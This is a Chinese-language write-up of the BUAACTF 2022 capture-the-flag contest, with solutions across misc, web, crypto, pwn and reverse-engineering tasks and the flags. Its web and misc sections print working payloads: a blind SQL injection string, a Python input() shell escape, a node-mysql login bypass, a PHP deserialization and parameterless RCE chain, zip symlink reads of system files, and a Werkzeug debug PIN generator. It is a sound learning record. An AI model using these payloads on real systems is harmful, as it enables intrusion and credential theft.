wp4buaactf_2022
Misc
welcome
略。
sqlmisc2
思路
流量审计。
先把包里东西扔burp或随便哪个url解码网址解码一下,看着方便点。
然后盘它的注入的逻辑:(注释内容已删去)
user=admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),1,1)),16,2)),1,1)=1,SLEEP(2),14209) AND '59548
对flag的每个字符的二进制位按从低到高时间盲注。
emmmmm然后这题有一点小问题;从包的时间无法推断出时间盲注的结果,必须通过中间夹杂着的乱码包(非注入语句)推断,有乱码包则代表睡眠了。
注入流程就是一个很传统的表名-->列名-->字段名-->flag的过程,用的也是information_schema。
flag
BUAACTF{W3b_kn0wledg3_1s_4lso_imp0rt@nt!}
ez_game
思路
代码几乎和我的Crypto::ez_game相同,只是用了python2,且recv改成了input。
使用python2的input漏洞即可直接RCE getshell。
https://blog.csdn.net/weixin_43921239/article/details/108569794
__import__('os').system('/bin/sh')
flag
flag{Pyth0n_3scape_1s_s0_1nter3sting!}
math_is_safe
思路
代码让你给出黎曼猜想的反例;显然是没有的。
于是,又只能是交互部分的漏洞了。
考虑到sage是python写的,直接这个再试试。
__import__('os').system('/bin/sh')
直接getshell了,无事发生。
flag
flag{F@m0us_rep0s1tory_i5_no7-Alw4ys_Saf3}
问卷
略。
最不喜欢的题目填了misc::ez_game,因为他拿我题目的壳出了和我的题目完全不相关的东西还卡了我两天(
想暴打的出题人填了SSGSS,因为他的web签到题害我在平台上多了十几次错误提交(逃
Web
召唤神龙
思路
审计了将近30minJS代码无果,才发现每种水产品(包括神龙)头上都有个字符;通关一次,记下所有的字符,试了好多次(【Il1_】分不清)才过。
flag
flag{F12_C4N_D0}
login
思路
nodejs-sql输入类型控制不严导致越权登录。
具体的,当能够使用对象传参时,能够使用万能密码登录(也对应了题目的message)
对于nodejs后端,可以在控制台中生成好对象,通过fetch传参。
fetch("http://10.212.25.14:27217/auth", { headers: {
"content-type": "application/x-www-form-urlencoded", },
body: "username=admin&password[password]=1",
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => { console.log(r); });
或
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("http://10.212.25.14:27217/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => { console.log(r); });
参考:https://blog.flatt.tech/entry/node_mysql_sqlinjection
flag
flag{ch3ck_7he_typ3}
common_php
考点
PHP反序列化+无参RCE
工具
不需要什么特别的工具;但建议在本地搭建PHP环境进行测试,以及通过PHP脚本生成payload的部分内容。
步骤
1、雕虫小技
前端加了一些雕虫小技阻止大家获取代码,但必然是拦不住大家的。
2、构建反序列化链
需要进行RCE就得进入Admin的__toString
方法。
注意到admin的__call
方法中会输出$this->admin,所以我们需要让Admin对象中的admin属性仍是Admin对象。
__call
在类的一个不存在的方法被调用时触发;控制Guest类的information属性为Admin对象,即可调用Admin的confirm方法(不存在),进而触发Admin::__call
。
在我们进行正常输入时,生成的序列化内容的可控性不强;但是,程序在序列化字符串生成后进行了字符替换,这就造成了反序列化逃逸。虽然替换了某些字符,但序列化信息中对应的属性长度是不会变的,这就导致它会“吃掉”后面的部分内容,精心设计,就可以实现任意序列化内容的构建。
3、无参RCE
不同于X-Forwarded-for或client-ip,Remote-Addr一般情况下难以伪造,所以要想进行命令执行必须走'limited shell'那一路。
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $shellcode)
是无参RCE过滤的关键部分,它的意思是递归的过滤形如XXX(xxx())
的内容,举例来说,abc(ajakfra(fahefha(fakfeaf(hepotidhb()))))
是合法的,但system('ls \')
因为最内层括号有参数,是不合法的。在【1】中,我们dirsearch时应该还看到了个flag.php,所以目标是当前目录下的任意读。
给出payload并解释:shell=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
pos(localeconv())配合获得【'.'】字符;scandir('.')扫描当前目录;array_flip() 交换数组的键和值;array_rand() 返回数组中的随机键名。这个payload的作用是随机读取并显示当前目录下的文件;多执行几次,就能读到flag.php
总结
这个题目出完后其实总体难度略低于我的预期;主要是因为水平有限+从提供服务的角度来讲,代码逻辑需要基本自洽,所以我设计的反序列化链有点短。最后的无参RCE也没有用什么额外的心机,网上一搜一堆,注意一下过滤了current而pos可等价替代current 就行了。不过本题对于接触web较少的同学来说难度应该并不低;毕竟还是涉及了很多经典知识点的。
exp
name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag&age=0&height=0&weight=;s:11:"information";O:5:"Admin":1:{s:5:"admin";O:5:"Admin":1:{s:5:"admin";s:6:"hidden";}}}
shell=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
flag
flag{I_@M_N0T_M4tryoshka_do1l*^_^*}
Go Get it
思路
go-gin框架搭建。
cookie(session)伪造+SSTI模板注入。
进去看到一个login界面,登录发现404。看一下源码,发现它是把表单送给/auth/login
处理的,但实际上应该送给/login
。抓包改一下即可。
第二步,如果你uname不是admin,它就在Response里给你set-cookie;但后续需要uname是admin的cookie才能登录。
func adminRequired() gin.HandlerFunc {
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil {
c.Redirect(302, "/login")
c.Abort()
return
}
if s.Get("uname").(string) != "admin" {
c.String(200, "No,You are not admin!!!!")
c.Abort()
}
c.Next()
}
}
func loginPostHandler(c *gin.Context) {
uname := c.PostForm("uname")
pwd := c.PostForm("pwd")
/*
if uname == "admin" {
c.String(200, "noon,you cant be admin")
return
}*/这一段,本地搭建时删掉。
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}
s := sessions.Default(c)
s.Set("uname", uname)
s.Save()
c.Redirect(302, "/secret")
}
所以本地搭建环境,把阻止admin生成cookie的那段删掉,自己生成一下。
搭建环境的时候,go mod vender会出问题,要换国内源。
使用本地伪造的cookie登录后,在name中SSTI直接调用Password属性即可。
(最后一步参考:https://mp.weixin.qq.com/s/MRc-wH0eHZgv5dpyw-Z6Ng)
func flag(c *gin.Context) {
admin := &User{"admin", "flag{fake_flag}"}
name := c.DefaultQuery("name", "challenger")
templ := fmt.Sprintf(`
<html>
<head>
<title>Go Get It</title>
</head>
<h1>Hello %s</h1>
</html>
`, name)
html, err := template.New("secret").Parse(templ)
if err != nil {
c.AbortWithError(500, err)
}
html.Execute(c.Writer, &admin)
}
go语言入门:https://www.topgoer.com/
flag
flag{g0lan9_@lso_ha5_s0me_s3curi7y_i55ues}
Upload_me
思路
前两赛段做的最艰难的一题。
总的来说也不是特别复杂,但相关姿势接触比较少+看起来路比较多导致实际上做的非常艰难。
压缩/解压软链接造成任意文件读取+WSGI flask console PIN值破解+RCE。
先随便发一点,发现后端是Werkzeug/0.14.1 Python/3.7.12
。
发压缩包,后端会把它解压、回显出来。无法直接通过发送压缩包造成RCE;测试了路径穿越也无效。推测需使用软链接。
编写shell脚本
#!/bin/bash
ln -s <需要链接的文件名> <生成文件的放置路径>
运行生成对应软链接文件,压缩后上传(实测的时候压缩包名必须和软链接文件名相同,否则会多套一层文件夹。
尝试读取了/etc/passwd
文件,知道了后端用户名friday
;随便读点东西,触发报错后找到了服务端源码/opt/app/app.py:
读取源码,但没什么用。
-- coding: utf-8 --
from flask import Flask, render_template,redirect, url_for, request, Response
import uuid
import random
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET','POST'])
def index():
error = request.args.get('error', '')
if error == '1':
return render_template('index.html', forbidden=1)
return render_template('index.html')
@app.route('/upload', methods=['POST','GET'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
extract_path = file_save_path + '_'
file = ''
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
dir_list = os.popen('ls ' + extract_path, 'r').read()
print(dir_list.split())
for dir in dir_list.split():
if '../' in dir:
os.system('rm -rf ' + extract_path)
os.remove(file_save_path)
return redirect(url_for('index', error=1))
file += open(extract_path + '/' + dir, 'r').read()
os.system('rm -rf ' + extract_path)
os.remove(file_save_path)
return Response(file)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=10008)
转换思路,读取~/.bash_history
想看看管理员之前的操作或蹭车,被逮捕,且被告知下一步需要RCE。
查阅资料了解到flask console远程debug模式需要的PIN码是根据主机六个特定的值算出来的:
用户名;字符串“flask.app";字符串”Flask“;flask中app.py的绝对路径;网卡mac值;机器id。
从/sys/class/net/eth0/address
获取网卡mac值,/etc/machine-id
获取机器id(注意,若是docker机,则读/proc/self/cgroup
;这里应该不是)
使用网上的脚本跑出PIN值:(python2)
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'friday',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:42:ac:11:00:06","96cec10d3d9307792745ec3b85c89620")
if __name__ == '__main__':
getshell()
(参考:https://blog.csdn.net/SopRomeo/article/details/105875248)
获取权限后,运用system+popen检查可执行性+获取回显的组合
,最后执行/readflag获取flag。
(ls -l查看文件详细属性;readelf -h <文件名>查看elf文件的详细属性)
RCE的时候犯了愚蠢的错误,顺便找了些os.system/linux错误码相关的内容,也一并放这里了。
https://blog.csdn.net/sxingming/article/details/52071257
flag
flag{GOD0fFlask1syouOULAOULAOULA}
Crypto
pow
思路
爆破一个md5的前四位。
没有太多好说的,注意一下脚本里的一些类型转换。
import string
from hashlib import md5
t = string.ascii_letters+string.digits
ans0=''
proof='K5yiwI5XrBqxU6Zg'
correct='4eb8b5ab1ad885e28d0773e27a11a97d'
for i in range(len(t)):
for j in range(len(t)):
for k in range(len(t)):
for l in range(len(t)):
md5ans = md5(t[i].encode()+t[j].encode()+t[k].encode()+t[l].encode()+proof.encode()).hexdigest()
#print(md5ans)
if(md5ans==correct):
ans0=(t[i]+t[j]+t[k]+t[l])
print(ans0)
flag
flag{To_m4ke_su7e_y0u_Ar3_n0t_DoS1ng_me!}
ez_game
考点
python_socket 自动化脚本编写+md5碰撞
工具
python(废话),fast_coll
md5碰撞工具
步骤
第一问
问题本身没啥好说的,主要就是脚本的编写。
其实也比较简单,使用socket库,建立tcp连接,调用recv、send进行交互就行了。注意通过合理的sleep和recv字节数设置等 让recv收到想要的东西(例如,一次性把前面的题目介绍全收完,而不是漏了一句而导致后面出错)
import socket
from time import sleep
from gmpy2 import invert
address=('49.232.31.80',8088)
client=socket.socket()
client.connect(address)
sleep(1)
data=client.recv(1024)
print("server reply:",data)
client.send(b'1')
for i in range(300):
sleep(1)
data=str(client.recv(512))
data=data[26:]
print(data)
a=m=0
j=2
while(data[j]>='0' and data[j]<='9'):
a=a*10+int(data[j])
j+=1
j+=2
while(data[j]>='0' and data[j]<='9'):
m=m*10+int(data[j])
j+=1
print(a,m)
print((invert(a,m)))
client.send(str(invert(a,m)).encode())
sleep(2)
data = str(client.recv(512))
print(data)
client.close()
第二问
在网上寻找md5碰撞相关内容,可以找到fastcoll工具。(也可以找到当年王小云院士关于md5碰撞的论文,但CTF题有现成工具肯定用现成的,就不管它了。)
其实本题 nc 套接字 是可以直接与终端交互的,但是生成的hex碰撞文件(字符串)往往编码不出人话,所以用脚本提交是最稳妥的
import socket
from time import sleep
address=('49.232.31.80',8088)
client=socket.socket()
client.connect(address)
sleep(1)
data=client.recv(1024)
print(data)
client.send(b'2')
sleep(1)
r1=open("1.txt","rb")
r2=open("2.txt","rb")
x=r1.read()
y=r2.read()
r1.close()
r2.close()
client.send(x)
sleep(2)
client.send(y)
sleep(2)
data=client.recv(1024)
print(data)
client.close()
两个文件是用fastcoll生成的md5值相同的文件。
总结
本题比较简单,主要考察大家脚本编写能力和信息搜集能力,同时增添一点比赛的乐趣(交互题还是比较好玩的)
flag
BUAACTF{Cr3pT0_Is_60_1nte2esTin3!}
chaos_generator
思路
只要胆子大,flag随便拿。
看一下代码:
def chaos_maker(p, g, seed):
res = 0
x = seed
for _ in range(randint(0, 1000)):
x = pow(g, x, p)
for i in range(256):
x = pow(g, x, p)
if x < (p-1) // 2:
res -= (1 << i) - 1
elif x > (p-1) // 2:
res += (1 << i) + 1
else:
res ^= (1 << i + 1)
return res if res > 0 else -res
def keygen(p, g):
u, v = chaos_maker(p, g, randint(0, 1<<64)), chaos_maker(p, g, randint(0, 1<<64))
return next_prime(u**2 + v**2) * next_prime(2*u*v)
关于seed,x,有非常多的随机,几乎可以判断他们是安全的。主要的问题就在res上。
res的生成方法让我想到NAF表示;不过这不重要。至少,res是按二进制位生成的,我们不妨多跑几遍看二进制值的规律。果然发现res和p、g是存在关联的,更具体的,一组p、g只对应三种可能的res,且它们的二进制表示都非常有规律。大家可以自己跑跑看。
然后,直接用它的程序改一改,通过核对N找到正确的u、v,找到正确的大素数,RSA解密就行了。
复习一下基本的RSA解密(逃
phi=(ans1-1)*(ans2-1)
d=invert(e,phi)
m=pow(c,d,N)
print(n2s(int(m)))
flag
flag{U_g&5-th3_BA51cs_MY_PaDawan>_<}
easyrsa
思路
题目的message就差直接告诉你让你查资料了。
def gen():
e = 3
while True:
try:
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
if d == 1:
continue
return p,q,d,n,e
except:
continue
return
p,q,d,n,e = gen()
c = pow(s2n(flag), e, n)
print("n = %d"%n)
print("e = %d"%e)
print("c = %d"%c)
print("mbar = %d"%(s2n(flag[:len(flag) // 2]) << 192))
要素察觉:低加密指数,明文高位泄露。开搜。
https://lazzzaro.github.io/2020/05/06/crypto-RSA/
**Coppersmith攻击(已知m的高位攻击)**
e 足够小,且部分明文泄露时,可以采用Coppersmith单变量模等式的攻击,如下:
c=memodn=(mbar+x0)emodnc=memodn=(mbar+x0)emodn,其中 mbar=(m>>kbits)<<kbitsmbar=(m>>kbits)<<kbits
当 |x0|≤N1e|x0|≤N1e 时,可以在 logNlogN 和 ee 的多项式时间内求出 x0x0。
甚至连sage脚本都给你了。换一下参数跑一下就行了。
在线sage https://sagecell.sagemath.org/
ubuntu sage下载 https://blog.csdn.net/ckm1607011/article/details/106724624
ubuntu磁盘扩容 https://jingyan.baidu.com/article/86fae34604bdd53c49121a26.html
n =
e = 3
c =
mbar =
kbits = 192
beta = 1
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0] # find root < 2^kbits with factor = n
print("m:", mbar + x0)
flag
BUAACTF{Y0u_Know_c0ppersmit_s0_w3ll!!@#$#%~!@!}
ez_des
思路
题目给出了一轮des加密对应的五组明密文,让我们求解对应的密钥。
首先想一想,通过已知信息是求不出原始56位初始密钥的,只能求出加解密时用作轮函数加的48位密钥。
因为其他步骤的所需信息都是有的,所以我们可以正常的算出每次加解密中的afterExtend(加密从上往下走)和afterSbox(解密从下往上走),只需求解afterRoundKey。
逐S盒来看,每4位afterSbox内容对应4种可能的6位afterRoundKey内容,进而与afterExtend算出4种可能的6位密钥;因为我们有五组明密文对,分别计算,然后取结果里相同的那一组密钥即可(五组不用算完,算到出现唯一相同的可能密钥[一般只需要两组]就行了)。
推测flag内容是7位字符,故最后还需要补0或1,试一下(其实都不用试)就行了。
flag
flag{wtclaa!}
PWN
Or4ngeOj
思路
一道跟pwn没有关系的“pwn题”。
给了一个能运行C代码的OJ环境,print内容能直接在网站上输出;先尝试System反弹Shell,但没反应。尝试大一的fopen文件读+直接输出,直接彳亍了。
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("Hello world.\n");
char buffer[800];
FILE *fp=fopen("./flag","r");
fgets(buffer,sizeof(buffer),fp);
printf("%s\n",buffer);
return 0;
}
flag
flag{W3lc0me_t0_my_h4ppy_OJ}
RE
checkin
思路
出题人真的是非常良心了。引导完全拉满。
加密逻辑是 洗牌+异或;trans和target直接在IDA里双击进去就能看到。
按部就班写出解密:
a=''
for i in range(16):
v11[trans[i]+24]=v9[i]
for i in range(17):
v9[i]=v11[i+24]
for i in range(16):
v9[i]=hex(v9[i]^0x87)
a+=v9[i][2:]
print(v9)
注意,读入中前面好几部分都不是按字节读的,需要变化一下端序。
读入的格式是UUID;不知道的话可以上网查一下这是啥。其实从IDA里也能直接看出读入格式。
flag
flag{b72dcc6c-4c13-5567-d70b-14e2253d8c21}
onequiz
思路
工具使用题。
使用jeb-pro打开安卓包,找到出题人自己写的部分(com/examople/activity),在FirstActivity里发现AES字样,解析进去查看Java源码。
在网上进行base64-AES decrypt。https://icyberchef.com/
flag
flag{s1mP13_L4yer_0f_J4va}
dis_me
思路
第一赛段做的最艰难的一题。
python可执行文件解包+反汇编出字节码+手搓字节码+解密。
(1)利用pyinstxtravtor进行可执行文件解包:(现在这玩意可直接作用于elf了)
https://github.com/extremecoders-re/pyinstxtractor
直接python pyinstxtractor.py <路径>
即可
(2)marshall+dis生成字节码
本题是python3.10,所以之前我常用的https://tool.lu/pyc/无效,只能解出字节码后手搓python代码。
f=open('src.pyc','rb')
data=f.read()
Pycode=data[16:]
import marshal
import dis
Pyobj=marshal.loads(Pycode)
dis.dis(Pyobj)
注意上述代码在python3.9执行是可以的,但在3.6执行会报错。这里的话,版本越高越好。
手搓的过程非常艰辛。python3.10的字节码和之前有所不同,最显著的就是comp之类的跳转位置要*2才是真正的跳转位置。
建议手搓的时候,使得自己程序字节码和原字节码几乎完全相同,而不要只是“逻辑相同”;后者非常难debug。
一些辅助搓字节码的玩意
https://docs.python.org/zh-cn/3/library/dis.html?highlight=字节#opcode-collections
http://unpyc.sourceforge.net/Opcodes.html
核心函数:
def keyGenerator(key):
k = [0] * 36
(k[0], k[1], k[2], k[3]) = ((key >> 96), ((key >> 64) & 4294967295), ((key >> 32) & 4294967295), (key & 4294967295))
(k[0], k[1], k[2], k[3]) =(k[0]^2746333894, k[1]^1453994832, k[2]^1736282519, k[3]^2993693404)
for i in range(4, 36):
k[i] = k[i - 4] ^ T_key(k[i - 3] ^ k[i - 2] ^ k[i - 1] ^ CK[i - 4])
return k
def T_key(key):
(a0, a1, a2, a3) = ((key >> 24), ((key >> 16) & 255), ((key >> 8) & 255), (key & 255))
(b0, b1, b2, b3) = ((sbox_subtitute(a0)), (sbox_subtitute(a1)), (sbox_subtitute(a2)), (sbox_subtitute(a3)))
key = (b0 << 24) | (b1 << 16) | (b2 << 8) | (b3)
key = move_left(key, 13) ^ move_left(key, 23) ^ key
return key
def T(data):
(a0,a1,a2,a3)=((data>>24),((data>>16)&255),((data>>8)&255),(data&255))
(b0,b1,b2,b3)=((sbox_subtitute(a0)),(sbox_subtitute(a1)),(sbox_subtitute(a2)),(sbox_subtitute(a3)))
data = (b0 << 24) | (b1 << 16) | (b2 << 8) | (b3)
data = move_left(data, 2) ^ move_left(data, 10) ^ move_left(data, 18) ^ move_left(data, 24) ^ data
return data
def decrypt(data, key):
x = [0] * 36
(x[0], x[1], x[2], x[3]) = (
(data >> 96), ((data >> 64) & 4294967295), ((data >> 32) & 4294967295), (data & 4294967295))
key = keyGenerator(key)
for i in range(4, 36):
x[i] = (x[i - 4] ^ T(x[i - 3] ^ x[i - 2] ^ x[i - 1] ^ key[39-i]))
cipher = (x[35] << 96) | (x[34] << 64) | (x[33] << 32) | (x[32])
return cipher。
def move_left(data, bit):
data = ((data << bit) & (0xFFFFFFFF)) | (data >> (32 - bit))
return data
def sbox_subtitute(data):
global sbox
return sbox[data >> 4][data & 0xF]
(3)解密
先看加密:
cip1=encrypt(s2n(str1)^iv,key)
cip2=encrypt(s2n(str2)^cip1,key)
if((cip1<<128)+cip2==74409953901716602317029493075776556675983276898700682918966016542397856770799):
print('Congratulations~')
据此,可以写出相应的解密:
data1 = data >> 128
data2 = data & (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
ans1 = decrypt(data1, key) ^ iv
ans2 = decrypt(data2, key) ^ data1
ans = n2s(ans1) + n2s(ans2)
注意,CBC模式的解密是要将 第n+1组数据解密后与第n组的密文数据进行异或 是密文(data1)!不是明文(ans1)!
flag
flag{Som3_new_Fea7ures_1n_python310}